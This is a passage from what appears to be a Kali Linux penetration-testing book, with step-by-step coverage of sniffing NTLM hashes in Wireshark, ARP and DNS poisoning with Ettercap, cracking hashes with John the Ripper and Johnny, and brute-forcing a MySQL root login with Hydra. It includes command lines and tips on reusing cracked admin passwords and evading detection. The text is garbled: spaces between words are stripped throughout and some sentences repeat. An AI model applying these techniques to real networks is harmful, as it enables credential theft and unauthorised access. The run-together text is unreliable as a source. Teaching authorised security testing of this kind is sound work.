Let'sopenitupandopenourcapture.WhenyouwenttoWiresharkinKali1.xyouhadtogotoApplications|KaliLinux|Top10SecurityTools|Wireshark.Whenitstarts,itwillgiveyouwarningsaboutrunningasroot.Youcansafelyclickthroughthese.Ifyoulike,checktheboxsayingyoudon'twanttoseetheseagain.WhenyouworkwithKali,youwillalwaysbeworkingasroot.InKali2.0andKaliRollingRelease,youwillfindWiresharkunderthe09-Sniffing&Spoofing|wiresharkmenu.ThenicepeopleatOffensiveSecurityhavemadetheclick-pathstomostofthetoolsinKalimuchshorter.
Anotherwarning:neverdothiswithaproductionLinuxmachine.NeverloginandrunasrootanywhereexceptKali.WolfaddedastandarduserandsudotohisKaliLinuxtestboxandonlyrunsasrootwhenheisactuallyrunningatest.
Afterthewarnings,thewindowwillopen.Aswecansee,wehaveareallyniceinterface.Youcandomorethanreadcaptures.Youcancapturepacketsfromthelocalinterfaceslisted.Totheright,youwillseeasectionforOnlineHelp.Ifyougetlostandneedhelp,thatiswhereyougo.Therearetonsofhelponline:
Let'sopenourcapture.ClickonFile|Open,andyouwillgetafilemenu.NavigatetowhereyourfileisandclickontheOpenbutton:
Nowthecaptureisopenandallthedatacapturedislistedinthetopscreen.Eachlistingisapacket.Whatyouseeistheheaderinformationofthepacket,itssource,destination,andprotocoltype.
Byclickingonceonapacketinthetopscreen,thefullinformationofthatpacketwillappearinthemiddlescreen.Thiswillbetheinformationwesawearlierwhenwewerebreakingdownapacket.Thisisactuallythepacketinhuman-readableform.Inthebottomscreen,wehavetheactualrawpacketinmachinelanguage.Byclickingonthelinesofinformationinthemiddlescreen,Wiresharkwillhighlightinbluethestringofmachinelanguageofwherethatcodeisonthepacket:
Lookingatthefirstscreen,weseetheoveralltraffic.WeseeamachinemakingaDHCPv6Solicitcallnotgettingaresponsefromanywhere.IPv6mustbeturnedoffonthisnetwork.Next,weseethebackandforthtrafficbetween192.168.202.128and192.168.202.130,talkingSMB.Justfromtheheaderswecanseethatthistransmissionisforfileinformationon192.168.202.128usingSMB.Wecantellthatauseron.130hasaccessto.128justbylookingat
theheaders:
So,whereisthegoodstuff?BelowwehaveaSMBNTLMSSPpacket,andwecanseethatthisisfortheaccountIVEBEENHAD\Administratorfromtheheader.Byselectingthepacket,wecandrilldownintothepacketandfindtheNTLMhashvalueofthepassword.Thisalonecanbeusedinexploitationtoolsthatcanpassthehash.YoucanalsobringthishashvalueintoanofflinepasswordcrackingtoolsuchasJohntheRipperorHydra.Noticeyoucanalsoseethevalueintherawpacketinformationinthebottomscreen:
OneofthebestfeaturesofWiresharkisthesearchfunction.Thedetailsofthisfunctionareabookinthemselves.YoucanbuildexpressionswiththeExpression...buttonontherightsideoftheFilterfield.Fromsimplefilterssuchasip!=10.0.0.232(tosliceoutalltraffictoyourKalibox)orcheckingforunexpectedSMTPtrafficbyenteringsmtpintothefilterfield,thereisendlessfuninstoreasyoulearnthefiltersyouwillneedthemost.Theonline
SpoofingnetworktrafficThereareseveraldefinitionsforspoofingontheInternet:
Emailspoofing:Thisisthemostcommondefinitionrelatedtomasqueradingasadifferentpersonbyusingafakeemailaddress.Thisworkswellwhenattemptingaphishingattack,wherethevictimissentanemailthatpurportstobefromtheirbankoraretailstore.Domainspoofing:Itispossibletospoofadomain,andthisiswhereyoupoisontheroutetableontheirnetworkorindividualworkstation.HowthatworksisthatthedomaintheusertypesintotheaddressbarismisalignedtopointatafalseIPaddress.Whenthevictimgoestohttp://bankarmenia.com/,theyendupataphishingsitethatlooksexactlyliketheBankofArmeniasite,butitisnot.Thisisusedtocollectcredentialsfromusersforpurposesoftheft.Domainerrorspoofing:Hackersbuydomainsthatarecommonerrorsforpopularsites,suchasYaahoo.com.Theybuildasitethatlookslikewww.yahoo.comandbenefitfromallthemisspellings.IPspoofing:Thecreationofcraftedpacketsforthepurposeofmasqueradingasadifferentmachineorforthepurposeofhidingtheoriginofthepackets.
Ettercap
OneofourfavoritespoofingtoolsisEttercap.Amongitscharmsisanabilitytorunspoofsthroughfirewallsandfromsegmenttosegment:
Cutelogoandveryrevealing!Yes,thatisawirelessrouteronthespider'sback.Ettercaphassomegreatpluginsforwirelessnetworks.Wewon'tbecoveringwirelessrightnowbutitissomethingtoknow.EttercapcansniffandcapturedatajustliketcpdumpandWireshark,butitalsohasthefunctiontospoofnetworktraffic,capturetheinterestinginformation,andpipeittoafile.InKali1.xthegraphicalinterfacecanbefoundatApplications|KaliLinux|Sniffing/Spoofing|NetworkSniffers|ettercap-graphicaltofireupEttercap:
SniffingbyselectingSniff|UnifiedSniffinginthemenubar:
Wearenowaskedwhichinterfacetouse.Normally,itwillbethedefault.Ifneeded,withthedropdownboxyoucanselectanyinterfaceonthesystem.ClickontheOKbutton.
Tip
Warning!
WhenusingSSHtunneling,Ettercapwillbreakthetunnelconnectionifusedfromtheremotemachine.Theydon'tseemtoplaywellwitheachother.
YouwillnoticethatthemenubarhaschangedonceUnifiedSniffinghasbeenconfigured.
First,weneedtologthemessages.GotoLogging|Logusermessages...inthemenubar:
Youwillbegivenawindowtonamethefileforthemessageoutput.GiveitafilenameandclickontheOKbutton:
Next,wewillneedtostartsniffingthetraffic.GotoStart|StartSniffing.WhatishappeninghereisthesamefunctionthatwasperformedbybothtcpdumpandWireshark.Ettercap,atthemoment,isjustpassivelycapturingpackets.Beforestartingyoursniff,youcansetupEttercapundertheloggingmenutoalsosaveallcapturedpacketsforlaterinspection.Youjustsavethecapturetoa.pcapfile,justlikeintcpdumpandWireshark.
Normallyjustsavingtheoutputoftheusermessagesisgoodenoughforpentesting.Whenpentesting,youaremainlyafterthepasswordsandlogincredentials.Themessagelogwillcatchthese.Sometimes,foranyfurtherreconnaissance,youcanthrowinsavingthewholecapture.
Oncesniffinghasstarted,weneedtoscanforhosts.GotoHosts|Scanforhostsinthemenubar.Thiswillscanthelocalnetworkforavailablehosts.NotethereisalsoanoptiontoLoadfromafile....YoucanpickthisoptionandloadalistofhostIPaddressesfromatextfile.Thisisagoodoptionwhenonalargenetworkandyouonlywanttospooftraffictothefileserversanddomaincontrollers,nottheworkstations.Thiswillcutdownonnetworktraffic.ARPspoofingcangeneratealotoftraffic.Thistraffic,ifitisalargenetwork,canslowthenetwork.Ifyouaretestingsurreptitiously,thetrafficwillgetyoucaught:
Belowweseealistofhostswepickedupfromourscan.Sincethisisasmallnetwork,wewillspoofallofthehosts.Weseethatwehavefivehostslisted,completewithMACaddresses.Remember,oneoftheseisthetestingmachine:
Youwillthengetawindowtosetthetypeofpoisoningtoperform.PickSniffremoteconnectionsandclickontheOKbutton:
ThefollowingscreenshowsaDNS-poisoninginprogress.
Oncethepoisoningisdone,therewillbedatasentthroughtheEttercapinterfacethatshowsyouadministrativeusersandtheirNTLMpasswordhashes.ThisisenoughinformationtostartworkingonthepasswordhasheswithJohntheRipperorArachni.
Tip
HackerTip
Eveniftheadministratorpasswordsfailed,youshouldstillcrackthem.Theadminusermighthaveforgottenwhichmachinetheywereloggingintoandthefailedpasswordsmightworksomewhereelseinthesystem.
Inmostsecuritypolicies,Windowssystemsaresettorefuseconnectionsafterfiveorsixattemptsfromauser.Thispolicyprotectsuseraccountsfrombruteforcepasswordattacksorpasswordguessingattacks.Thiswillstopbrute-forcingpasswords,butasyoucansee,thispolicyhasnoeffectonanexploitofthiskind.Youalreadyhavetheadministratorpasswordfromearliersniffing,soyoucanloginthefirsttime.
AgreatfeatureofEttercapisthatitalsoworksunderthecommandlineusingtheNcursesinterface.ThisisgreatwhenworkingfromaremotesystemusingSSH.Then,presstheTabkeyandarrowkeystomovearoundinthemenuandtheEnterkeytoselect.
UsingEttercaponthecommandline
Inmanysituations,youwillnotbeabletousethegraphicalinterfaceofEttercap.WhenyouaremountinganattackfromacrackedLinuxmachine,youarelikelytodiscoveritdoesnothaveagraphicaldesktopatall.Insuchastrait,youcanusetheEttercapNcursesversionorthetext-onlyversion.ThisisgreatwhenworkingfromaremotesystemusingSSH.Then,presstheTabkeyandarrowkeystomovearoundinthemenuandtheEnterkeytoselect:
TostartEttercapfromthecommandline,youwillneedtoaddsomeflagstothecommand.AswithmostLinuxcommands,youcanuseettercap–helptogetalistoftheflagsandtheirmeanings.Forbasicuse,youcanusethecommandbelow:
root@kalibook:~#ettercap-C-mettercap-msg.txt
The-CflagstartsEttercapinNcursesmode;wehaveincludedthe-mettercap-mgs.txtflagtopipeoutthemessageoutputtothefileettercap-msg.txt.Ifyouwanttosavethewholecapture,add-wettercap-capture.pcap.ThiswillsavethefullcapturesoyoucanpullitinlaterintoWiresharkifneeded.Wehavefoundit'seasiertousethecommandlineflagsforsavingtheoutputs.ThefollowingillustrationsaretheCLI-basedCursesInterfaceandtheCLI-basedText-onlyInterface:
NowwecanlookattheEttercapcommand-lineinterface.Theettercap-TcommandcheckstheKalihostIPaddressesandsubnetmasks,andthenscansallthemachinesintheavailablenetworks.Thisisaprettynoisytestandwillgopastveryquickly.Theimagebelowisthesetupdetailforthescan:
SummaryThischaptershowedyouhowtosniffanetworkwithtcpdump,WinDump,andWireshark,andhowtofilterforprotocolsandIPaddresses.Followingthat,yougottoplaywithspoofingandARPpoisoningusingEttercap.
Inthenextchapter,wewilldelveintopasswordattacks.Wewillbecrackingpasswordhashes,suchasthoseyoumighthaverecoveredfromsniffingNTLMpacketsonaWindowsnetwork.Wewillbeusingdictionaryattacks.Wewillshowyouthingsthatwillencourageyoutogrowyourselfsomelonger,morecomplexpasswords.
Chapter6.PasswordAttacksAnybodyyoumeetwilltellyouthatweakpasswordsareresponsiblefordozensofsuccessfulintrusions,bothlocalandremote.Asatrainednetworkadministratororsecurityengineer,youhavecounselleduserstomaketheirpasswordsstrongermanytimes.Whatyoumaynotbeawareofisthatmanytechnologyprofessionalsmakeweakpasswordsorpatternsofpasswordsthatendangernotjusttheirownaccounts,buttheentirenetworkwhichtheymaintain.Thischapterwillshowyouseveraltoolsfortestingthepasswordsonyournetwork,soyoucanhelpguideyouruserstothehabitofbetterpasswords:
PasswordAttackPlanningCreatingorAdaptingPasswordListsToolsforCreativePasswordCrackingMeetMyFriendJohnnyMeetJohnny'sDad,JohntheRipperMeettheEx–xHydra
Itisthenatureofhashingalgorithmstohaveallhashesbeaboutthesamelength,anditreallydoesn'tseemanymorelikelythatsomeonecouldcrackthisalgorithmasfollowing:
$6$NB7JpssH$oDSf1tDxTVfYrpmldppb/vNtK3J.kT2QUjguR58mQAm0gmDHzsbVRSd
sN08.lndGJ0cb1UUQgaPB6JV2Mw.Eq.
Anyquickerthantheycouldcrackthefollowingalogrithm:
$6$fwiXgv3r$5Clzz0QKr42k23h0PYk/wm10spa2wGZhpVt0ZMN5mEUxJug93w1SAtO
gWFkIF.pdOiU.CywnZwaVZDAw8JWFO0
Sadly,evenonaslowcomputer,thefirsthashofapasswordPasswordisgoingtobecrackedinfewerthan20seconds,whilethesecondpasswordhashforGoodLuckTryingToCrackMyPassword!maytakeseveralmonthstocrack.ThelistillustratedinthefollowingcontainssomeofthepasswordsyouwillfindinanyofthedozensofwordlistsyoucanfindontheInternet,andwhichmakecrackingpasswordssomucheasier.Somecommonhashescanbecrackedbyhttps://www.google.co.in,justbypastingthehashintothesearchbar.Mostwebapplicationsandoperatingsystemsaddafewcharacters,calledsalt,totheuser'spasswordchoice,soastomakeasimplecryptographichashabitmore
complicatedandlessguessable.
Thefollowingimageshowsthenatureofhashes.Foreachwordinthetopset,nomatterhowlongtheword,thehashbelowisexactlythesamesize.Itis,however,exponentiallymoredifficulttobrute-forcealongerpasswordthanashorterone:
PasswordattackplanningPasswordsarenormallythekeystoanysystemornetwork.Eversincethedawnofcomputers,passwordshavebeenusedtolocksystemdatafromunwantedeyes.So,passwordcrackingisamuch-neededskillinthehackingtrade.Captureorcracktherightpasswordandyouhavethekeystothekingdom,accesstoanywhere,anytime.We'llalsotalkabitaboutcreatingstrongpasswordsaswegoalong.IfyouareaSystemsAdministratorreadingthisbook,you'rethepersonwearetalkingabout.Itisyourpasswordanattackerisgoingafter.Sure,typinga12or14characterpasswordeverytimeyoulogintosomethingisapain,buthowimportantisyournetwork?
Personally,wewishtheword"password"hadn'tbeenusedforthisfunctionfromthebeginning.Itshouldbecalled"keys".Normalusersofsystemscryandwhineaboutpassword-protecteddata.Mostrelatethewordpasswordtoentryintoaclubhouseorsomething.Auserwillhavelocksandburglaralarmsonallhispropertybutwilluseafourletterpasswordonhiscomputer.Peoplerelatetheword"key"tolockingsomethingimportant.Actually,ifyourpasswordisjusta"word"youwillbepwnedinminutes.Itsbesttouse"passphrases";somethinglike"Maryhadalittlelamb."isalotbetterthanjustaword.We'llseejusthowimportantthisisinthischapteraswecrackthinkaboutthepasswordsyouuse.
CrackingtheNTLMcode(Revisited)
OnemethodofpasswordattackswehavecoveredinChapter5,SniffingandSpoofing.OnaWindowsnetworkrunningNetBIOS,capturingNTLMhashesischild'splay.They'rejustfloatingaroundintheARPcloudwaitingtobeplucked.Aswehaveshowninearlierchapters,whenyouareusingMetasploit,youdon'tneedtoevencrackthishashtoapasswordbutcanjustpassthehashtoanotherWindowssystem.
Sometimesyouneedtheactualpassword.Systemadminssometimesgetlazyandusethesamepasswordonseveralclassesofdevice.Let'ssayyouhavesomeWindowshashesandyouneedtogetintoarouteroraLinuxmachineforwhichyouarenotsureofthepassword.Thereisagoodchancethatthepasswordsarethesameonothersystems,soyoucancrackthehashesthattheNTLMprotocolleaks.Lotsofusareguiltyofreusingpasswordsforinfrastructuredevices,eventhoughweknowbetter.Itmightbesafertousedifferentusernamesandpasswordsforroutersandotherinfrastructuredevices,andneverusetheDomainAdministratoraccountstologintoanymachines,unlessitisabsolutelynecessary.
Tip
HackerTip
TurnoffNetBIOSanduseActiveDirectorywithKerberosandLDAPforWindowsloginsandnetworkfunctions.
Inthischapter,wewillbelookingatcrackingpasswordsandnotjustpassinghashes.
Passwordlists
Foranygoodpasswordcracker,sometimesthefastestwaytocrackapasswordisusingapasswordlist.It'sevenbesttosometimesrunalistof,say,the500worstpasswordsagainsttheusersonyoursystemtofindthoselazyluserswhoareusingbadpasswords.Abadpasswordmostofthetimecanbebrokeninsecondscomparedtohours,days,orweekswhenusingastrongpass-phrase.
Followingisalinkandalistingofsomegoodpasswordfiles.AGooglesearchwillalsoleadyoutolistsofcommonpasswordsandalsolistsofpasswordsstolenfromwebsites.Whenusingalistofstolenpasswords,onlyusetheliststhathavebeenscrubbedoftheusernames.Usingafullsetofstolencredentials(username&password)couldlandyouintrouble.Withalistofjustpasswords,youjusthavealistofwordswithnolinkbacktotheoriginaluser.Thisissafeandlegaltouse:https://wiki.skullsecurity.org/Passwords
Cleaningapasswordlist
Sometimeswhenyougetalistofpasswords,thelistmightbetabbedcolumnsinatextfileormayhavestrangespacesoftabsmixedwiththewordsinthefile.You'llwanttocleanthesespacesandtabsandhaveasinglewordperlineforthewordlisttoworkwithpasswordcrackers.
OneoftheearliestconceptsofUnixwassmallprogramswithinthesystemthatcanbepipedtogethertoperformcomplextasks.LinuxistheRed-HeadedCousinofUnix,andthesetoolsareineverydistributionofLinux,includingKali.Thisis"OldSchool",butitworkssowellonceyouunderstandhowtodoit.Wearegoingtogothrougheachprogramusedandthenshowhowtostringthesetogethertoperformthistaskallinasinglelineofcommands.
Followingisalistof500commonpasswords.ThewordswerelistedinanHTMLtableandtherowswerenumbered,sowhencopiedtoatextfilewhatwegetintherawformisasfollows.Mostofthewordlistsyoucanfindhaveapproximatelythesameextremelycommonbadpasswords,andthoughweareworkinginEnglish,therearewordlistsinotherlanguages.WeakpasswordsarenotstrictlytheprovinceoftheEnglish-speakingworld.
Thatsaid,thenextimageisagreatexampleofverycommon,butveryweak,English-languagepasswords.Itwouldwastespacetoshowall500words,sowearepresentingthe500-common-original.txtfileonthepublisher'swebsite:
Notewehavethelinenumberstotheleft,whichweneedtodiscard,andfivewordsperlineseparatedbytabsandspaces.Wewillwanttomoveeachwordtoanewline.
Thecatcommandreadsatextfile,andprintstoouttothescreenortoanotherfile.Usingitalongwiththecutcommand,wewillstripoutthelinenumbersfirst.Thecutcommandseesthetabsasspacersbetweenfieldssothenumbersarethefirstfieldintheline.Wewanttocutthenumbersandleavethewords,sowecutthefirstfieldandkeeptheothers.Todothis,runthefollowing:
cat500-common-orginal.txt|cut-f2
Wegetthereturnedoutputreturnasfollows.Ifyoulook,youwillseethatthisisalistofthefirstwordonlyineverylineandnotthewholelist.Usingthe-f2flag,wehavecuteverythingexceptthesecondfieldineveryline.Thefollowingimagehassomewordsscrubbedouttokeepthisbook'sGrating,butsomepeoplearevulgarbynature.Somewordsinthelistmaynotbefittoprint,buttheyareinthetop500commonpasswords.Whenhacking,youaredealingwithaperson'snature,andthatisnotnecessarilysociallycorrect.Peopleareoftenfoundtochooserudewords,whentheybelievenobodywilleverseewhattheywrote,orwheretheybelievethemselvestobeanonymous:
Sincewewantallthewordsfromeachline,andwehavetoincludetheotherfivecolumnsinthecommand,fivewordsinaline,plusthenumber,issixfieldstoaline,andwewanttocutthefirstfield(thenumber)andkeeptherest,sowechangethe-fflagto-f2-6.Thiswillcutfield1andprintoutfields2through6.Weseeinthefollowingthatthereturnhascutoutthenumberrow,butwestillhavefivewordsperline.Thiswillnotruncorrectlyinthepasswordcracker;westillneedtomoveallthewordstotheirownline:
cat500-common-orginal.txt|cut-f2-6
Thiscommandstringgetsridofthelinenumbers,thoughitwouldnotbeamatterofmorethanacoupleofsecondstoleavethelinenumbersin.Itwouldn'tbeasneat,though,andsometimesneatnesscounts.Thefollowingimageistheoutputofthecommand:
Togetallthewordsonanewlineweusethe--output-delimiterflagandusethevalueof$'\n',whichtellsustheoutputforeverydelimiter,whichisthetabspaceintheline,tomovethenextfieldtoanewline:
cat500-common-orginal.txt|cut-f2-6--output-delimiter=$'\n'
Nowwehaveeachwordonanewline,butwealsoneedtoprintthistoafileforuse.Todothis,wewillusetheredirectcommand>tosendtheoutputtoanewtextfile.Becareful,the>commandsendstheoutputofthecommandsbeingruntoafile,butifthefilenameexists,itwilloverwritethecontentsofthefile.Ifyouwanttoincreasethesizeofafileyoualreadyhave,usethecommand>>toappendtheoutputtoanalreadyexistingfile.
Thefollowingimageshowsthecommandssendingthewordstotheworkingfileofweakpasswords,andtotesttheoutputfileforcontentandformat:
Runthelscommandtodouble-checkthatyouareintherightdirectory,andthatyourchosenoutputfiledoesnotexist,thenrunthefollowingtooutputtoafile:
cat500-common-orginal.txt|cut-f2-6--output-delimiter=$'\n'>
500-common.txt
Tip
HackerNote
Ifyouaccidentallyrunthecommandascat500-common-orginal.txt|cut-f2-6--output-delimiter=$'\n'>500-common-original.txt,youwilloverwriteyouroriginalfileandbeleftwithnothingtorecreateintheeventthatyournewfilecontentsarenotwhatyouwanted.
Noticethatthistimethereisnooutputtothescreen,butwhenthelscommandisrunagainweseethenewfileintheworkingdirectory.Bycuttingthenewfile,weseeournewpasswordfilereadyforuse.
MyfriendJohnnyFirstwewilltalkaboutmyfriendJohnny.JohnnyisaGUIfrontendformyotherfriendJohn.Formostpasswordcrackingtasks,thisisaneasywaytouseJohnny.Itusesthenormaldefaultsformostpasswordcrackingsessions.Onceyouhavecapturedsomehashes,savethemtoatextfileandopenJohnny.Asshowninthefollowingimage,JohnnycanbefoundunderApplications|05–PasswordAttacks|johnny:
GettingtoJohnnyinKali2.xissimpler.Seethefollowingimage:
Weareusingthepasswordhashesfromapreviousexploitearlierinthebook,wherewewerepassingthehash.Wehaveshortenedthelisttoonlyincludethehashesofthetwoaccountsthatwethinkhavecriticalaccesstothenetworkedsystems:
OnceJohnnyisopen,clickontheOpenPasswdFilebuttonandpickthetextfilewhereyouhavesavedtheuser'shashvalues.ThiswillloadthefileintoJohnny.
Tip
HackerNote:
ItisbesttodeletetheGuestandanyotheruseraccountthatyoudonotwanttocrack.Thiswillcutdownonthelengthoftimeittakestocrackthepasswords.Asyouseeinthefollowing,weareonlycrackingtwoaccounts.
ThefollowingimageisyourfirstviewofJohnny'sinterface.Verysimple,andpowerful:
WeknowthesehashescomefromaWindows7system.WithWindows7,LMhashesarenolongerusedbydefault,sowemustchangethedefaultLMhashcracking.YouwillgetthefollowingerrorintheOutputtabifthisisnotchanged:
NowclickthePasswordstabandthenclicktheStartAttackbutton;thiswillbeginthecrackingprocess.Youcanseetheprocessinthebottomtabonthescreen:
Notethatitnowshowstheformatasnt2andisrunning.Haveacupofcoffee.Thismighttakeawhile.
Alsonote,wehaveaPauseAttackbutton.Ifneededyoucanpausetheattack.
Aswithalotofopensourceapplications,sometimestheyhavequirks.Johnnyisnodifferent.Sometimeswhendoingacrackingrun,theprocesswillrunandcrackthepasswordsbuttheywillnotshowintheGUIwindow.IfthePauseAttackbuttonhasgrayedoutandonlytheStartbuttoncanbeclicked,therunhascompletedandthepasswordshavebeencracked.YoucanfindthecrackinginformationbyclickingontheOptionsbutton.Thispagewillalsoshowyouthelengthoftimeittooktorunandthepasswordscracked.Thisthebestpagetogetalltheresultsoftherun.
Youcanseeinthenextimagethatittook7hoursand18minutestocracktwo
Youcanseeinthenextimagethatittook7hoursand18minutestocracktwopasswordswithsixandsevencharactersandusingcomplexityofupperandlowercaseletters,numbers,andspecialcharacters:
JohntheRipper(commandline)JohntheRipperistheapplicationthatunderliesJohnny.Youmaybelikeus,andbemorecomfortableonthecommandlinethaninaGUIwhenusingthepasswordcrackingtools,likeJohntheRipper.YoumaygofortheCLIbecauseitusesfewerresourcesthantheGUI,orbecauseyouareworkingthroughasshconnectiontoaserverwithoutaGUIinterface.ItiseasytouseJohntheRipper,andtherearealotmoreoptionsandwaystouseJohnbyusingthecommandlinesthathavenotyetbeenaddedtoJohnny.
YoucanseeallthevarioushashingalgorithmssupportedbyJohnandtestthespeedofyoursystemforcrackingbyrunningthefollowingcommand:
john–test
ThiswillrunthroughallthevarioushashingalgorithmssupportedbyJohnandgiveyouthetimeitwilltakeforthevarioushashes.Thefollowingimageshowstheread-outfromthetestflag:
We'regoingtorunJohnagainstasetofhashesobtainedfromanearlierexploitationofasystem.Notetheflagsweareusingtoperformthis.Weareusing–format=nt2andthenpickingthefile:
john–format=nt2hashdump.txt
Withthiscrackingrun,wearecrackingpasswordsthataremorethan6characters.Notethetimeithastakentorunthisprocess.Thisshowsthatwhenitcomestopasswords,thelengthismoreimportantthanthecomplexity.
Inthefollowingscreenshot,youcanseethatittook1dayand23hourstocrackaprettysimple7characterpassword.Thesecondpassword,whichwas8characterslong,didnotcrackafter4days14hoursand56minutes.Yes,eachextracharactermakesthetimeittakestocrackgrowexponentially:
Byrunningthe–showflagaftertherun,youcanseethecrackedwordandthatwehaveonestilllefttocrack:
ThiscrackingwasdoneonaVMwithonerunningprocessor.Addingprocessorswillincreasethenumberofrunningtreadsduringcracking,andthatmakesthejobtakelesstime.PeoplehavebuiltmachinesfilledwithprocessorsandGPUcardsthatcancrackpasswordslikeweareusinginamatterofhours.Evenifyourneighbourhoodevilhackerhasthesekindsofsystems,thelongerpasswordisstillbetter.Systemslikethesearethereasonforusingpasswordsorpass-phraseswithalengthover14characters.Evenwithpass-phrasesover14characters,thisshowsthatifyouhavethehash,itisjustamatteroftimeandprocessingpowerbeforeyouhavethepassword.
xHydraxHydraisaGUIfrontendforthepasswordcrackercalledHydra.Hydracanbeusedforbothofflineandonlinepasswordcracking.Hydracanbeusedformanytypesofonlineattacks,includingattacksagainstMySQL,SMB,MSSQL,andmanytypesofHTTP/HTTPSlogins,justtonameafew.
WearegoingtousexHydratoattackarunningMySQLserviceonamachinerunningaWordpresssite.SincethemachineisrunningaWordpresssiteandaMySQLservice,itisaneasyguessthatthedatabaselogin'susernameiswordpressthedefaultAdminaccount.Bydefault,MySQLdoesn'tblockbruteforceattacks,soweknowwestandagoodchanceforthisattack.
TostartxHydrainKaliVersion1.x,yougotoApplications|KaliLinux|PasswordAttacks|OnlineAttacks|hydra-gtk.Thehydra-gtkwillstartxHydra:
InKaliVersion2.0,xHydraisnotinthemenustructureatall,thoughitis
availablefromthecommandline.Asyoumayremember,inKali,asinanyotherLinuxdistribution,youcaneitheropenaterminalandtypeyourcommandattheprompt,oryoucanopenacommanddialogbyhittingALT+F2.Inthetwoimagesthatfollow,weareshowinghowtofindxHydra,#locatexhydra,howtolaunchitfromacommandlineintheterminalwithjustthenamexhydra,andhowitlookswhenyouinvokeacommandfromtheALT+F2keyboardshortcut:
Tip
HackerHint
Youtypeinthecommandyouwanttorun,andhitEntertorunit.TheClosebuttonwilljustcancelyouractionandbringyoubacktothedesktop.
Youcanalsoopenxhydrafromthecommandline,bytypingthefollowing:
xhydra&
Theampersandcommand(&)tellsthebashterminaltobackgroundtheapplication,anditgivesyoubackthecommandprompt.Ifyoudonotaddtheampersand,youhavelockedupyourterminalwindowuntilyoufinishusingxHydra:
WhenxHydraisopened,wegetthefollowingwindow.Thefirsttab,Target,isforsettingthetargetsandprotocolsfortheattack.YoucanattackasingleIPaddress,oratargetlistofhostsfromatextfile.TheProtocolfieldistopickthetypeofprotocol.Notethatatthebottomofthewindowisthecommand-linestringthatwouldbeusedifrunningtheattackfromthecommandline.Thisisahelpfullearningtooltolearnthecommandlineoptionsandhowtheywork:
Weareattackingasinglehost,soweaddtheIPaddress,settheportto3306,thedefaultMySQLserviceport,andpickMySQLfortheprotocol.
Noticethereareseveralniceoptionsintheoptionssectionofthiswindow.IfSSLwasenabledontheMySQLserver,youwouldplaceacheckintheboxforSSL.ThiswouldalsobecheckedforanyotherserviceusingSSLsuchasSSMTP,SIMAP,orSLDAP.TheBeVerbosecheckboxwillgiveyouamore
detailedoutputwhilerunning.TheShowAttemptswhilerunningwillshowyoutheactualpasswordsbeingrunagainstthesystem.Thisisinterestingtowatchbutproducesalotofoutput:
ClickonthePasswordtabtosetupthepasswordpartoftheattack.HereweaddtheuserrootandpicktheGenerateradiobuttonandchangethefieldto1:8:a.Atthebottomfield,youmightwanttocheckTryloginaspasswordandTrypasswordasemptyfield.
IntheGeneratefieldwehaveadded1:8:a;thistellsHydratorunpasswordsfromonetoeightcharacters.ThelowercaseatellsHydratorunlowercaselettersonly.Ifweaddthestring1:8:aA1%.,thiswillgeneratepasswordsfromonetoeightcharacters,includingupperandlowercaseletters,numbers,percentsign,andspaces(yes,thereisaspacebetweenthe%andthecomma)anddots.Mixandmatchfromhere.
Hereagain,youwillfindthecheckboxfieldforTryloginforpassword,whichwilltrytheloginnameasalsothepassword,likeadmin:admin,andthecheckboxforblankpasswords.Youwillalsofindhereacheckboxforreversingtheloginname,suchasnimdaforthepasswordfortheadminlogin:
SetuptheTuningtabnext:
Sinceweareattackingonehost,turndownthenumberoftasksto10Sincethehostisonthesamenetwork,turndownthetimeoutvalueto10Sincethisisonehostandtheattackisusingoneusername,checktheboxtoExitafterfirstpairfound.
Youwillfindlaterthatthetaskssetmaybelowerthantheactualrunningtasks.
Wehavesetitto8,butlaterwewillseethattheactualrunningtasksis4.Fourrunningthreadsisalltheserverwillhandle,sothat'sallweget.TherunningthreadscanchangebasedonotherthingshappeningontheKaliattackworkstationasloadschange,soitisbesttosetitformorethantherunningload.Beawarethatsettingittoohighfromtheactualrunningtasks,forexample,settingitto16,willcausetheapplicationtohang.Thisnumbermayalsobehigherorlowerdependingonthetypeofservicebeingexploited:
TheSpecifictabfortheMySQLattackwillstaywiththedefaults:
NowwearereadytoclickontheStarttab,andweseewearerunningfourthreadsagainstthatoneserver.Thismighttakeawhile:
Tip
HackerHint
Pleasenoticethattheauthorsofthesoftwarelikethewritersofthisbookaskthatyoudon'tusethesetoolsorinformationformilitary,secretserviceorillegalpurposes.RemembertouseyourJedipowersonlyforgood.
Hmmm.Wehave217,180,146,596passwordcombinationstotrystillandanestimatedtimeupof199,661,463daysand22hours.ItmaybetimetogetabeefierKaliworkstation.Thisisgoingtotakeawhile.Maybea546,659-yearvacationisthebestdecisionfortheevilhackers.
Luckily,theestimateishigh.Below,weseethatourtesthasnowrunfor70hoursand39minuteswithoutcrackingapasswordof5charactersinlength.Duringthistime,therunhasattempted75,754passwords,leaving12,280,876to
Duringthistime,therunhasattempted75,754passwords,leaving12,280,876togo,withanestimatedruntimeof11,454daysand13hours.Soforthebenefitofthebookwearestoppingthetesthere,withanestimated32yearsleft:
Thespeedofthistestismainlydeterminedbytheresourcesandsetupofthevictimserver.Ourvictimserverhereisalow-rentVM,sothisisonereasonforsuchaslowtest.Also,atthefirstpartofthisrun,wegotawarningthatMySQLdoesn'tlikealotofparallelconnections.Thespeedwillincreaseagainstatargetserverrunningmoreresources.Anotherlimitingfactoristhatthetargetservermaybesoweakthatasustainedbrute-forceattackmightknockthemachineoffthenetwork.Evenastrongserverwithlargeamountsofresourcesavailablemightexperienceadenialofservicecondition(DoS).Whendoingbrute-forceattacks,youmightwanttoaimforlowandslowratesofattackspeed.Asanattacker,youdonotwanttoalerttheadministratorstotheattack.
Thistestalsodemonstratesthatcapturingthehashesandcrackingthemofflineis
Thistestalsodemonstratesthatcapturingthehashesandcrackingthemofflineisusuallyfasterthanperformingtheattackonline.Anotherthingtorememberisthatifanyintrusionservicesarerunningonthesystem,yourattackwillbenoticedsometimeintheyearsitruns.
Solet'stryapasswordlistattackonthesamesystem.NoticewehavechangedthesettingsfromGeneratetoPasswordListandselectedtherockyou.txtpasswordlistfromthemanypasswordlistsincludedinKali.Thefollowingimageliststhedirectoriesandshowstherockyou.txtfilecompressed.Youwillneedtouncompressitforuse:
Then,wehaveselectedtheuncompressedfileandwearereadytogo:
ThroughthemodernmiracleofHollywood,weseewehavecrackedthepasswordevil1.After562triesand31hours,wehaveit.Thisisalotoftimefortheamountoftries.Again,thespeedoftheserviceacceptingthepasswordsisthedefiningfactorandtakesawhile.Softwarefirewallsandpassword-attemptlimitsonthetargetservercanmakeittakelonger,orevenimpossible.
